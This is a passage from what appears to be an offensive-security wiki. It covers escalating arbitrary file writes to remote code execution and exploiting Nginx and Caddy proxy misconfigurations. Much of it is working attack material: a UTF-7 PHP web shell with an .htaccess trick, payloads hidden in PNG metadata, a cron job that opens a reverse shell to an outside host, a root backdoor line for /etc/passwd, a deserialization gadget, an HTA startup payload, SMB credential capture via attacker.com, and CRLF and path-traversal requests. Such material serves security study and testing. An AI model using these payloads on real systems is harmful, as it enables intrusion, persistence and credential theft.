The main idea is to add another file extension that you *are* allowed to upload to be able to execute PHP code, and you can even specify an encoding like UTF-7 to bypass filters. See the following writeup for an example of exploiting this from start to finish:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/challenge-the-cyber-2022/file-upload-training-mission>" %}
Writeup of challenge that blocks any PHP extension or `<?` string
{% endembed %}

<pre class="language-apacheconf" data-title=".htaccess"><code class="lang-apacheconf"><strong># Allow .asp files to be served as PHP
</strong>AddType application/x-httpd-php .asp
<strong># Set the encoding to UTF-7
</strong>php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
</code></pre>

{% code title="shell.asp" %}

```
+ADw-?php+ACA-system(+ACQ-+AF8-GET+AFs-+ACI-cmd+ACI-+AF0-)+ACA-?+AD4-
```

{% endcode %}

The repository below shows some more techniques using `.htaccess` file to get RCE:

{% embed url="<https://github.com/wireghoul/htshells>" %}
Repository containing various tricks to get RCE using .htaccess files alone
{% endembed %}

### uWSGI magic variables (partial)

{% embed url="<https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html>" %}
Overwriting `uwsgi.ini` files containing syntax to execute shell commands
{% endembed %}

Using the `@()` syntax, you can define uWSGI configuration anywhere in a file that executes system commands when loaded. Similar to the authorized keys, this can be put into PNG metadata, for example, which will include it in a valid PNG image:

```bash
exiftool -Comment=$'\n[uwsgi]\nfoo = @(exec://id > /tmp/pwned)\n' example.png
```

Payloads can be locally tested using the following command:

```bash
uwsgi --ini example.png
```

When written to the server, it may take some time before the payload is executed. If the server is configured to auto-reload using the `py-auto-reload =` configuration variable it may happen automatically, but otherwise, you need to either force a restart by crashing the application or just wait until a server admin does it for you.

### Environment and Settings

Overwriting the settings of an application can have a significant effect on security. As the above showed, there are often many sensitive options and you just have to find them in the documentation or with some educated guessing.

One example is the `.env` file which often replaces environment variables for an application. If a [Flask](/web/frameworks/flask) webserver uses this file to get its `SECRET_KEY` variable, for example, you will be able to forge any session as explained in [Flask](/web/frameworks/flask#forging-session) with your known key.

Some formats like [YAML](/languages/yaml) may even be so complex that they allow arbitrary instantiation of classes, resulting in Insecure Deserialization. Keep this in mind when evaluating overwriting such a config file, that you don't necessarily need to exploit an option if you can exploit the format itself.

### Database/storage files

Some databases like [SQLite](https://www.sqlite.org/) store all their data in local files. While this makes it simple, it also allows you to overwrite these files with any data of your choice. Suddenly, you control every bit of data, expanding the attack surface greatly as developers might not expect some generated data to be user-controlled.

One common example is through [#deserialization](#deserialization "mention") exploits like session data. Other applications might also store custom bits of data that are included in shell commands. After locally creating the same database structure with your injected data, write the file to the location. Often a reload is not required as databases change all the time, so it should instantly have an effect.

### root `/etc/passwd`

The root user may edit `/etc/passwd` to add another root-level user with your own password. Then you can log in as that user and get root privileges:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ openssl passwd 'hacker'  # Generate password
</strong>aQeFa8LxllpT.
</code></pre>

Then if you somehow append the following line to the `/etc/passwd` file, you will be able to log in as root using the password "hacker":

<pre class="language-shellscript"><code class="lang-shellscript">root:x:0:0:root:/root:/bin/bash
...
<strong>hacker:aQeFa8LxllpT.:0:0:root:/root:/bin/bash
</strong></code></pre>

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ssh hacker@$IP
</strong>Password: hacker
# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>

### Google Chrome

Google Chrome or Chromium configures all settings via files in the *Profile Path* (found in `about:version`). The `Preferences` file specifically contains many properties. The easiest way to find their meaning is diffing the file before and after changing the option in the settings GUI.

In this writeup the `session.startup_urls` was used to open a malicious URL on startup, and with `download.default_directory` it was possible to drive-by download a file into any directory to elevate a limited file write to a full one:

{% embed url="<https://jorianwoltjer.com/blog/p/ctf/intigriti-xss-challenge/0625#arbitrary-file-write>" %}

The intended solution for that challenge was to write a malicious entry into the Disk Cache on another site, which would enable XSS.

{% embed url="<https://tog.re/writeup/intigriti_june_2025/#-understanding-of-chrome-cache>" %}

If extensions are enabled (often disabled by headless browsers), you can install an extension on the user by creating/modifying the required files. Below is a writeup detailing how it can be used for malware purposes:

{% embed url="<https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways>" %}

If the `--disable-component-update` flag is not set (often set by headless browsers), there exists a file in the data directory at `_platform_specific/linux_x64/libwidevinecdm.so` which is loaded as a shared object ([more info here](/linux/linux-privilege-escalation/command-exploitation#usdld_preload-and-usdld_library_path)). It doesn't require special file permissions and will be executed as real shellcode.

{% embed url="<https://worty.fr/post/writeups/heroctfv7/evil_cloner/>" %}

## Shell Scripts

Shell scripts inherently execute shell commands, often being the end goal of exploiting an arbitrary file write vulnerability. Therefore, they should be large targets and are often easy to exploit.

Some scripts execute on a schedule to automatically exploit, others are triggered by some action on the application or server, and you could even backdoor profile scripts that run when an admin interactively logs in.

### Cron Jobs (partial)

[Cron Jobs](https://en.wikipedia.org/wiki/Cron) are scheduled tasks on a Linux system that are automatically triggered by the daemon. Here, you can create a file that executes every minute, for example. The next time this minute is triggered your payload will execute. The syntax for such a file looks something like this:

{% code title="Cron syntax" %}

```bash
# m h dom mon dow command
* * * * * id > /tmp/pwned
```

{% endcode %}

There are multiple places for such files, but often these are only writable by the `root` user.

* `/etc/crontab`: Cron syntax for global use by any user.
* `/etc/cron.d`: Directory containing files with cron syntax often separated per application.
* `/var/spool/cron/crontabs/$USER`: File per user with cron syntax, often edited manually with `crontab -e`. The filename is the username it executes as.
* `/etc/cron.hourly`, `.daily`, etc.: Bash scripts that cron will also execute every hour, day, week or month. These may be dirty too as they are only bash scripts and don't require special syntax.

This file is again simply a newline-separated list of commands. If you are able to write any clean line cron will find the job and execute it at the given time. In **SQLite**, for example ([source](https://kiddo-pwn.github.io/blog/2025-11-30/writing-sync-popping-cron#solution-fault-tolerant-crontab)):

```sql
ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
CREATE TABLE cron.tab (dataz text);
INSERT INTO cron.tab (dataz) VALUES ('
* * * * * root bash -i >& /dev/tcp/1.3.3.7/1337 0>&1
');
```

{% code title="/etc/cron.d/pwn.task" %}

```bash
��8ytabletabtabCREATE TABLE tab (dataz text)
* * * * * root bash -i >& /dev/tcp/1.3.3.7/1337 0>&1
```

{% endcode %}

### Bash Profile (partial)

Another way is creating a **backdoor** in the user's home directory. For Bash, the `~/.bashrc` file is most common as it executes in any non-login interactive shell. However, for login shells like SSH, a few more are executed in the following order. The *first* readable file is the *only* one that executes:

1. `~/.bash_profile`
2. `~/.bash_login`
3. `~/.profile`

Often the above files execute `~/.bashrc` as well to make sure login shells work similarly to non-login ones, so this is often your best bet. Here is a table that shows what Bash by itself:

<table><thead><tr><th width="330.3333333333333">Command</th><th width="191">Execute ~/.bashrc?</th><th>Execute ~/.bash_profile?</th></tr></thead><tbody><tr><td><code>bash -c [command]</code></td><td><mark style="color:red;"><strong>NO</strong></mark></td><td><mark style="color:red;"><strong>NO</strong></mark></td></tr><tr><td><code>bash [command]</code></td><td><mark style="color:red;"><strong>NO</strong></mark></td><td><mark style="color:red;"><strong>NO</strong></mark></td></tr><tr><td><code>echo [command] | bash</code></td><td><mark style="color:red;"><strong>NO</strong></mark></td><td><mark style="color:red;"><strong>NO</strong></mark></td></tr><tr><td><code>[command]</code></td><td><mark style="color:red;"><strong>NO</strong></mark></td><td><mark style="color:red;"><strong>NO</strong></mark></td></tr><tr><td><code>ssh ... [command]</code></td><td><mark style="color:green;"><strong>YES</strong></mark></td><td><mark style="color:green;"><strong>YES</strong></mark></td></tr><tr><td><code>login</code>, <code>bash -l</code></td><td><mark style="color:red;"><strong>NO</strong></mark></td><td><mark style="color:green;"><strong>YES</strong></mark></td></tr><tr><td><code>bash</code></td><td><mark style="color:green;"><strong>YES</strong></mark></td><td><mark style="color:red;"><strong>NO</strong></mark></td></tr></tbody></table>

See [this article](https://www.baeldung.com/linux/bashrc-vs-bash-profile-vs-profile) to get a full understanding, as well as the [source code](https://github.com/tianon/mirror-bash/blob/ec8113b9861375e4e17b3307372569d429dec814/shell.c#L1123-L1260).

As this only requires writing a bash script at the location, it may include any other garbage data before/after your payload if only it is separated by newlines. Bash will ignore syntax errors and keep executing commands until it exits or the end of the file is reached:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>exiftool -Comment=$'\nid > /tmp/pwned\n' example.png
</strong># test it locally:
bash example.png
</code></pre>

### Sending Input

*Piped commands* in Linux work by simply starting all given programs at the same time, and chaining their input and output streams together. The following command, for example, will connect `sleep`'s 1 (STDOUT) with `sh`'s 0 (STDIN):

```bash
sleep 999999 | sh
```

<pre class="language-shellscript" data-title="In another terminal"><code class="lang-shellscript"><strong>$ ls -l /proc/$(pidof sleep)/fd
</strong>lrwx------ 1 user user 0 -> /dev/pts/0
<strong>l-wx------ 1 user user 1 -> 'pipe:[22221]'
</strong>lrwx------ 1 user user 2 -> /dev/pts/0
<strong>$ ls -l /proc/$(pidof sh)/fd
</strong><strong>lr-x------ 1 user user 0 -> 'pipe:[22221]'
</strong>lrwx------ 1 user user 1 -> /dev/pts/0
lrwx------ 1 user user 2 -> /dev/pts/0
</code></pre>

With an arbitrary file write vulnerability, you can write to this pipe! This allows you to send input through to the receiving end of the pipe, which may process it insecurely. In this case of `sh`, it will execute any commands received through STDIN:

```bash
echo id > /proc/$(pidof sh)/fd/0
```

<pre class="language-shellscript" data-title="Receiving end"><code class="lang-shellscript">$ sleep 999999 | sh
<strong>uid=1000(user) gid=1000(user) groups=1000(user)
</strong></code></pre>

Apart from pipes, this same idea applies to opened **sockets**. Some programs will open sockets for communication between each other, but you can write to this too. If the receiving end handles these insecurely you may be able to execute code similar to what's shown above.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ ls -l /proc/$(pidof node)/fd
</strong>lrwx------ 1 root root 64 Mar 11 19:46 0 -> /dev/null
l-wx------ 1 root root 64 Mar 11 19:46 1 -> 'pipe:[78136]'
lr-x------ 1 root root 64 Mar 11 19:46 10 -> 'pipe:[75187]'
l-wx------ 1 root root 64 Mar 11 19:46 11 -> 'pipe:[75187]'
lrwx------ 1 root root 64 Mar 11 19:46 12 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Mar 11 19:46 13 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Mar 11 19:46 14 -> 'pipe:[81949]'
<strong>l-wx------ 1 root root 64 Mar 11 19:46 15 -> 'pipe:[81949]'
</strong>lrwx------ 1 root root 64 Mar 11 19:46 16 -> 'anon_inode:[eventfd]'
</code></pre>

Specifically, you often see binary protocols used in these sockets. In the case of NodeJS, it uses a library named *libuv* to which it will send structs containing function pointers. If you're familiar with Binary Exploitation, you'll know that this sounds like a recipe for jumping around the binary to unintended locations, and with the disabled protections by default and control over the stack, this becomes consistently exploitable.

This idea was [first found by Seunghyun Lee](https://hackerone.com/reports/2260337), and later publicized in ["Sonar Research: Why Code Security Matters - Even in Hardened Environments"](https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/). This adds the restriction of the file write being valid UTF-8, requiring all [Return-Oriented Programming (ROP)](/binary-exploitation/return-oriented-programming-rop) gadget's addresses to be so as well. This makes it possible to get RCE from an Arbitrary File Write vulnerability on a read-only filesystem!

{% embed url="<https://github.com/JorianWoltjer/nodejs-file-write-rce>" %}
PoC of NodeJS RCE using ropchain in libuv
{% endembed %}

## Deserialization

Many programming languages have ways of serializing and deserializing complex classes into bytes and back. This can sometimes be dangerous when arbitrary classes can be instantiated, called 'Insecure Deserialization'. The level of complexity varies a lot depending on the programming language and library used. Python[Python](/languages/python#pickle-deserialization) is very easy, for example, while PHP or Java often require gadgets in well-known libraries.

Common places to find such data are session files, as these often map a session ID to an object with all properties of a user. If you can overwrite these you may be able to invoke an Insecure Deserialization the next time you use that session ID and the application tries to load its data.

In PHP, these are stored by default in the `/var/lib/php/sessions/` directory with names like `sess_[PHPSESSID]` where your `PHPSESSID` cookie is inserted into the path. That means you can write a file like `/var/lib/php/sessions/sess_exploit` with a malicious serialized payload, and when you visit the page with a `PHPSESSID=exploit` cookie you will trigger the deserialization payload when `session_start();` is called.

Here's an example where we set the `x` property of `$_SESSION` to a custom deserialization gadget:

{% code title="Example PHP gadget" %}

```php
class Gadget
{
    public $command;
    function __construct() {}
    function __wakeup() {
        if (isset($this->command)) {
            system($this->command);
        }
    }
}
```

{% endcode %}

{% code title="sess\_exploit" %}

```php
x|O:6:"Gadget":1:{s:7:"command";s:15:"id > /tmp/pwned";}
```

{% endcode %}

## Windows

In the above chapters I talked about Linux a lot, because it's the most common for servers. But you may find a file write vulnerability in a client-side application. In that case Windows is still the most popular, so a good exploit should work on there.

Firstly, keep in mind that Windows handles paths differently than Linux. For one, **forward- and backslashes can be used interchangeably** potentially allowing some filter bypasses.\
If you're targeting a filename with a random suffix, you can also make use of **8.3 filenames**:

{% embed url="<https://tomgalvin.uk/blog/gen/2015/06/09/filenames/>" %}
Exploration of 8.3 filenames and their edge cases
{% endembed %}

Use the `dir /x` command to view these shortened filenames in a directory, for example:

<pre class="language-powershell"><code class="lang-powershell">C:\Windows\Tasks> echo test > some-super-long-filename.txt
C:\Windows\Tasks> dir /x
...
<strong>00-00-2025  00:00                 8 SOME-S~1.TXT some-super-long-filename.txt
</strong>C:\Windows\Tasks> type SOME-S~1.TXT
test
</code></pre>

There's also a bunch of rules for path normalization, especially when looking at different drives. Check out the article below to get an idea:

{% embed url="<https://www.fileside.app/blog/2023-03-17_windows-file-paths/>" %}
Exploring many formats for paths on Windows
{% endembed %}

### Startup Folder with HTA (partial)

One easy place to write a payload that will be executed in the future is the user's startup folder. Every file in here will be opened with the default program when the system starts up. You can quickly navigate to it by pressing Win+R and inputting `shell:startup`. This should bring you to a path like the following:

```
C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

Putting an `.exe` here, for example, will run it once you shut down and start up the system again.

This can be useful for a partial file write using the HTA ([HTML Application](https://en.wikipedia.org/wiki/HTML_Application)) file format. This very flexible format is based on HTML, which means it doesn't error out on strange content. All it looks for is `<script>` tags to execute as [VBScript](https://en.wikipedia.org/wiki/VBScript), to run local system commands.

<pre class="language-html" data-title="payload.hta"><code class="lang-html">&#x3C;script language="VBScript">
  Set shell = CreateObject("wscript.Shell")
<strong>  shell.run "calc"
</strong>  Window.Close
&#x3C;/script>
</code></pre>

The above executes `calc`, but can be replaced with any other malicious payload. See my writeup below for how I used this in an application that generates a BMP image from specifically crafted pixels to form the above payload into the startup folder:

{% embed url="<https://jorianwoltjer.com/blog/p/research/obs-websocket-rce>" %}
Embedding HTA in the pixels of a BMP image on Windows
{% endembed %}

### Leaking Username

You'll often be attacking a specific *user* on Windows, as opposed to a "root" user who can do anything. By default, you can only write to your personal folder under `C:\Users\[username]`, and a few globally writable directories outside of that such as `C:\Windows\Temp` or `C:\Windows\Tasks`.

That means for most impactful file writes, you'll need to know the username of the victim to prepare a path that points to their permitted folder. There are a few edge cases where you may not need to fill out the complete username:

* Try **relative paths**, if it starts out in the user's home directory already, you may be able to use a limited set of `../` sequences to perfectly go to the folder you want.
* Check if **environment variables** are resolved. In that case, things like `%USERPROFILE%` point to the current user's home directory.

When you do really need to get the username for an absolute path, there may be other vulnerable functionality in the app that allows you to leak such a username beforehand. Maybe some templating feature where you can extract it from another path that happens to contain it, or something leaking the victim's name that can help guess the path. Get creative.\
Keep in mind that you may be able to brute force the username depending on your vulnerability. If you can rapidly do attempts just go through a wordlist of common names, because Windows will shorten it often to just the person's first name.

As a last option, it could be possible to use an **SMB path** to connect to a remote attacker's server. For authentication purposes, this sends your username to the attacker's server who can then read it, and prepare a working absolute path.\
This is similar to [Exploitation](/windows/exploitation#forcing-authentication-to-relay), because in an active Active Directory environment, such an authentication alone can be enough to take over someone's account by relaying it to another service.\
The path should look something like this:

{% code title="Paths" %}

```
\\attacker.com\share\file.txt

smb://attacker.com/share/file.txt
```

{% endcode %}

An attack can host their server on `attacker.com` with the following command ([`smbserver.py`](https://github.com/fortra/impacket/blob/master/impacket/smbserver.py)):

{% code title="Setup server" %}

```sh
cd $(mktemp -d)
sudo smbserver.py -smb2support -ip 0.0.0.0 share .
```

{% endcode %}

If successful, you can expect terminal output like this:

```powershell
[*] Incoming connection (10.10.10.10,54321)
[*] AUTHENTICATE_MESSAGE (WORKGROUP\LAPTOP$,LAPTOP)
[*] User LAPTOP\User authenticated successfully
[*] LAPTOP$::User:aaaaaaaaaaaaaaaa:000102030405060708090a0b0c0d0e0f:f9f8f7f6f5f4f3f2f1f0efeeedecebeae9e8e7e6e5e4e3e2e1e0dfdedddcdbdad9d8d7d6d5d4d3d2d1d0cfcecdcccbcac9c8c7c6c5c4c3c2c1c0bfbebdbcbbbab9b8b7b6b5b4b3b2b1b0afaeadacabaaa9a8a7a6a5a4a3a2a1a09f9e9d9c9b9a999897969594939291908f8e8d8c8b8a898887868584838281807f7e7d7c7b7a797877767574737271706f6e6d6c6b6a696867666564636261605f5e5d5c5b5a595857565554535251504f4e4d4c4b4a494847464544434241403f3e3d3c3b3a393837363534333231302f2e2d2c2b2a292827262524232221201f1e1d1c1b1a191817161514131211100f0e0d0c0b0a09080706050403020100
```

{% hint style="info" %}
**Note**: This might not work directly, because of Firewalls often denying outbound SMB connections. You can try to simulate it being on the same local Wi-Fi network which could still be a valid attack vector.
{% endhint %}

### Automatic Mounting (+ Linux/Mac)

Instead of leaking the username, another technique where we can get a file at a known location on the target machine is to abuse automatic mounting protocols such as SMB or FTP. These create locations on the filesystem where temporary files are stored, allowing an attacker to use them in their exploit without knowledge of the username.

Read the following writeups showcasing a few different ways for each OS:

* <https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app>
* <https://positive.security/blog/url-open-rce>
* <https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3>


# Reverse Proxies

Servers on top of web applications that route traffic, manage headers and more

## # Related Pages

{% content-ref url="/pages/JTZRBTftLi1y2cugkCon" %}
[Caching](/web/client-side/caching)
{% endcontent-ref %}

## Nginx

All *directives* in Nginx are explained in this list:

{% embed url="<https://nginx.org/en/docs/dirindex.html>" %}
List of all Nginx directives (documentation)
{% endembed %}

The `/etc/nginx/nginx.conf` file contains the global configuration, as well as a line to include all configuration files in the `/etc/nginx/conf.d/`folder.

{% code title="nginx.conf" %}

```nginx
http {
    ...
    include /etc/nginx/conf.d/*.conf;
}
```

{% endcode %}

Because these are nested in a `http {}` context, these files will not have to open it again. You will often see extra options for the `http` context be added here, as well as `server {}` definitions per application.

Below are some common security misconfigurations that can allow for specific attacks.

### Alias with trailing slash

One classic trick in Nginx is an "off-by-slash" misconfiguration where two conditions meet:

1. `location` is *missing a* trailing slash
2. a directive like `alias` or `proxy_pass` *with* a trailing slash

The example below contains the vulnerability twice:

<pre class="language-nginx" data-title="Vulnerable Examples"><code class="lang-nginx">server {
    ...
<strong>    location /static {
</strong><strong>        alias /app/static/;
</strong>    }

<strong>    location /api {
</strong><strong>        proxy_pass http://backend/v1/;
</strong>    }
}
</code></pre>

The problem is that `location /static` will match **any path starting with** `/static`, also `/staticANYTHING` or `/static../anything`. What Nginx does after is *remove this prefix*, then continue with the leftover path. This may now be `../anything`, and when appended to the `static/` folder or `v1/` backend, it can **traverse one directory back**.

{% code title="Exploit" %}

```http
GET /static../index.php HTTP/1.1
```

{% endcode %}

This will create the path `/app/static/../index.php`, which may leak the sensitive source code in `/app/index.php`. Same idea with the `proxy_pass`, it could be used to access an unintended directory on the backend intended for debugging, other versions, of even another application.

### Merge Slashes

You may find a backend application vulnerable to Path Traversal using the request path, but can't get `../` sequences through to it due to an overlaying Nginx proxy which throws 400 Bad Request's whenever you traverse past the root path. For example:

* `/../../anything` -> <mark style="color:red;">**Bad Request**</mark>
* `/deep/path/../../anything` -> <mark style="color:green;">**OK**</mark>
* `/deep/path/../../../anything` -> <mark style="color:red;">**Bad Request**</mark>

If you're lucky, the `merge_slashes` is set off of its default value to `off`. In this case, Nginx will not normalize multiple slashes (eg. `//`) before performing this check, allowing you to make it think you are in a very deep path. Then when the vulnerable application receives the URI and uses it in a file path, the multiple slashes *will* be merged and turn into only a single one, allowing you to traverse past the root. Below is an example:

<pre class="language-nginx" data-title="Vulnerable Example"><code class="lang-nginx">server {
    ...
<strong>    merge_slashes off;
</strong>
    location / {
        proxy_pass http://app;
    }
}
</code></pre>

{% code title="Exploit" %}

```http
GET ///////../../../anything HTTP/1.1
```

{% endcode %}

{% hint style="info" %}
**Note**: If the vulnerable endpoint is somewhere deeper in a directory, you can already path traversal as deep as you are from the root path. As seen in the examples above, with `/deep/path` you can still traverse 2 directories up without being blocked. No need for `merge_slashes off;` in that case.
{% endhint %}

### Normalization & URL Decoding

Nginx will perform normalization before matching `location` directives. Specifically, it will URL-decode the path and then resolve any `../` sequences, as well as [#merge-slashes](#merge-slashes "mention"). After doing so, it will check if the path starts with `/api`:

<pre class="language-nginx"><code class="lang-nginx"><strong>location /api {
</strong><strong>    proxy_pass http://app;
</strong>}
</code></pre>

The URL-decoded version is even sent through to the backend, making it possible to cause some strange URLs to be interpreted in unexpected ways.

<table><thead><tr><th>Request</th><th width="198">Normalized</th><th>Backend</th></tr></thead><tbody><tr><td><code>/api/../anything</code></td><td><code>/anything</code></td><td><mark style="color:red;">Doesn't match</mark> <code>/api</code></td></tr><tr><td><code>/anything/../api</code></td><td><code>/api</code></td><td><code>/anything/../api</code></td></tr><tr><td><code>/api%2Fanything</code></td><td><code>/api/anything</code></td><td><code>/api/anything</code></td></tr><tr><td><code>/anything%2f..%2fapi</code></td><td><code>/api</code></td><td><code>/anything/../api</code></td></tr></tbody></table>

When dealing with multiple layers of proxies, it may be possible to make one proxy think the path is using one prefix, while the other proxy sees a different prefix, applying rules and routing accordingly.

***

There are also ways Nginx normalizes or decodes parts of the request *to the backend* after parsing, leading to other sorts of confusions and sometimes [#crlf-injection](#crlf-injection "mention"). For example:

<pre class="language-nginx" data-title="Rewrite"><code class="lang-nginx">location / {
<strong>    rewrite ^/rewrite/(.*)$ /$1 break;
</strong>
    proxy_pass http://app:8000;
    proxy_set_header Host $host;
}
</code></pre>

The `rewrite` directive will match the normalized path (`$uri`), and change the `$uri` variable to the replacement in the 2nd argument. During the `proxy_pass`, it will be re-encoded and sent to the backend. This is how it would be transformed:

{% code title="Request" %}

```http
GET /rewrite/..%252Ftest HTTP/1.1
```

{% endcode %}

{% code title="Nginx -> Backend" %}

```http
GET /..%252Ftest HTTP/1.0
```

{% endcode %}

Just as expected, but let's see what happens with a regex match on the location:

<pre class="language-nginx" data-title="Regex"><code class="lang-nginx"><strong>location ~ ^/regex/(.*)$ {
</strong><strong>    proxy_pass http://app:8000/$1;
</strong>    proxy_set_header Host $host;
}
</code></pre>

Using a variable such as `$1` directly in the URL like this will cause it to stay decoded to the backend:

{% code title="Request" %}

```http
GET /regex/hello%3Fworld HTTP/1.1
```

{% endcode %}

{% code title="Nginx -> Backend" %}

```http
GET /hello?world HTTP/1.0
```

{% endcode %}

While testing for these kinds of vulnerabilities in a black-box, you should **test on all subdirectories**. Different `location` directives may have different rules. Look out for slightly different response bodies or headers to differentiate them.

### CRLF Injection

A surprising amount of sinks in Nginx also accept decoded carriage return and newline characters (`\r\n`). If a variable with this raw character is passed to such a vulnerable sink, you can inject headers into requests or responses.

First, you need to get some variable with raw `\r\n` characters. One commonly used is `$uri`, containing the *decoded path* (see more in [#normalization-and-url-decoding](#normalization-and-url-decoding "mention")). If your path contains `%0d%0a` characters, these will be decoded and put into the variable.

{% code title="Unsafe $uri usage" %}

```nginx
location /backend {
    proxy_pass http://backend$uri;
}
```

{% endcode %}

Another method is using [Regular Expressions (RegEx)](/languages/regular-expressions-regex) in a location to match a specific part of the URI. The value matched in a `location` directive will be URL-decoded as we learned earlier, so any matching part (like `$1`) will be as well. Importantly, a `.` cannot contain newlines, even though it should match any character. This is because of the missing *DOTALL* flag by default. But still, a negated character set (eg. `[^abc]`) may contain newlines!

<pre class="language-nginx" data-title="Unsafe Regex"><code class="lang-nginx">location ~ /some/<a data-footnote-ref href="#user-content-fn-1">([^/]+)</a>/path {
    add_header X-Response-Header $1;
    return 200 "OK";
}
</code></pre>

To exploit this, you can inject the encoded characters into the matching group which will be decoded in the backend request:

{% code title="Exploit" %}

```http
GET /some/x%0d%0aHeader:%20Injection/path HTTP/1.1
```

{% endcode %}

{% code title="Response" %}

```http
HTTP/1.1 200 OK
Server: nginx/1.27.4
...
X-Response-Header: x
Header: Injected!

OK
```

{% endcode %}

#### Response Headers

When raw characters end up in an `add_header`, you can add more headers below that header to the response. See the example above.

Another interesting case is when `return` returns a redirect using the `Location:` header, because it is also vulnerable to CRLF-Injection:

{% code title="Vulnerable Example" %}

```nginx
location ~ /redirect/([^.]+)\.html {
    return 301 /html/$1.html;
}
```

{% endcode %}

By fitting the regex format, the `/html/$1.html` path becomes a location header with CRLF:

{% code title="Exploit" %}

```http
GET /redirect/x%0d%0aHeader:%20Injection.html HTTP/1.1
```

{% endcode %}

{% code title="Response" %}

```http
HTTP/1.1 301 Moved Permanently
...
Location: http://localhost/html/x
Header: Injection.html
```

{% endcode %}

Check out [CRLF / Header Injection](/web/client-side/crlf-header-injection) to learn how to exploit this for XSS using response splitting.

With the `Location:` header case, this becomes more tricky because you cannot simply overwrite the response and expect the browser to render it. Often there is a prefix in the location header before your input, and then there is no way to get XSS.\
As an alternative, you can still set the `Set-Cookie:` header which is allowed during redirects. This allows you to set arbitrary cookies, becoming a [Cross-Site Request Forgery (CSRF)](/web/client-side/cross-site-request-forgery-csrf#cookie-tossing) gadget.

Lastly, the `Cache-Control:` header may come in useful if you want to poison/deceive the cache.

#### Request Headers

When unescaped characters fall into `proxy_pass` paths or `proxy_set_header` values, you can inject request header. This works similarly to [#response-headers](#response-headers "mention"), but the exploitation is wildly different.

<pre class="language-nginx" data-title="Vulnerable Example"><code class="lang-nginx">location / {
<strong>    proxy_set_header X-Original-URI $uri;
</strong>    proxy_set_header X-Internal-Header "";
    proxy_pass http://backend;
}
</code></pre>

Above the `$uri` variable is insecurely put into a header value. The `X-Internal-Header` is also stripped from our request, presumably because the application doesn't want the user to control this.\
By injecting with a CRLF in the path, however, we can still send this header to the backend:

{% code title="Exploit" %}

```http
GET /%0d%0aX-Internal-Header:%20INJECTED HTTP/1.1
```

{% endcode %}

{% code title="What backend sees" %}

```http
GET /%0d%0aX-Internal-Header:%20INJECTED HTTP/1.0
X-Original-URI: /
X-Internal-Header: INJECTED
Host: 127.0.0.1:1337
```

{% endcode %}

This can be useful for controlling internal headers, or spoofing trusted values like `X-Client-IP`.

By injecting two CRLF sequences, you can even **end the previous HTTP request** to perform [HTTP Request Smuggling](/web/server-side/http-request-smuggling). If Nginx keeps the connection to the backend open, you can inject into this queue to send raw requests that wouldn't normally be allowed, desynchronize other users, or leak internal headers by playing around with the `Content-Length:`.

Importantly, the above is often possible through just a specific path. You can make a victim visit this in their browser to poison their own connection, creating a client-side desync.

### Special Response Headers

Nginx understands some special headers from the backend when proxying using `proxy_pass`. To demonstrate this, see the following configuration:

<pre class="language-nginx"><code class="lang-nginx">location /test {
    return 200 "Test";
}
location /internal {
<strong>    internal;  # Normally not accessible remotely
</strong>    return 200 "Internal";
}

location / {
    proxy_pass http://backend;
}
</code></pre>

The backend needs to have a feature or vulnerability that allows you to inject arbitrary response headers. This is also common with SSRF to an attacker's server.

{% code title="Vulnerable Example" %}

```python
@app.route('/')
def index():
    headers = json.loads(unquote(request.args.get("headers")))
    return Response("Hello, world!", headers=headers)
```

{% endcode %}

The `X-Accel-Redirect` response header will *rewrite* the URL, and perform another evaluation and respond with that instead. If we set its value to `/internal`, the handler for `location /internal` will be used even though the requested path is still `/`. It bypasses the [`internal;`](https://nginx.org/en/docs/http/ngx_http_core_module.html#internal) check which would normally not be possible by requesting it remotely.

{% code title="Request" %}

```http
GET /?headers={"X-Accel-Redirect":"/internal"} HTTP/1.1
```

{% endcode %}

{% code title="Response" %}

```http
HTTP/1.1 200 OK
...

Internal
```

{% endcode %}

Some more internal headers you can use in combination with this are ([source](https://github.com/nginxinc/nginx-wiki/blob/master/source/start/topics/examples/x-accel.rst#x-accel)):

* `X-Accel-Charset`: set the `Content-Type:`'s charset to the given value
* `X-Accel-Buffering`: enables or disabled buffering of the response
* `X-Accel-Limit-Rate`: Bytes per second to send to the client
* `X-Accel-Expires`: When to expire the cache for this response

## Caddy

The main [`Caddyfile`](https://caddyserver.com/docs/caddyfile) controls the configuration of the proxy. You can best learn it from looking at examples online, as the documentation can be limited for some features.

### Template Injection

There are two types of templating in Caddy. Firstly, there is the `{...}` syntax enabled by default in the source code of your `Caddyfile`:

{% code title="Caddyfile" %}

```properties
(set_headers) {
    header X-Correlation-Id "{http.request.header.X-Correlation-Id}"
}

:80 {
    import set_headers
    respond "You requested {http.request.uri}"
}
```

{% endcode %}

These are called **placeholders** and are documented below:

{% embed url="<https://caddyserver.com/docs/conventions#placeholders>" %}
Caddy documentation for **placeholders**
{% endembed %}

When the [`templates`](https://caddyserver.com/docs/caddyfile/directives/templates) directive is set, **the response will be evaluated as a template**. Below is an example where this would be useful:

{% code title="Caddyfile" %}

```properties
:80 {
    root * /html
    templates
    file_server
}
```

{% endcode %}

{% code title="index.html" %}

```html
<p>Your UA is: {{.Req.Header.Get "User-Agent"}}</p>
```

{% endcode %}

All accessible properties and functions are documented here:

{% embed url="<https://caddyserver.com/docs/modules/http.handlers.templates#docs>" %}
Caddy documentation for **templates**
{% endembed %}

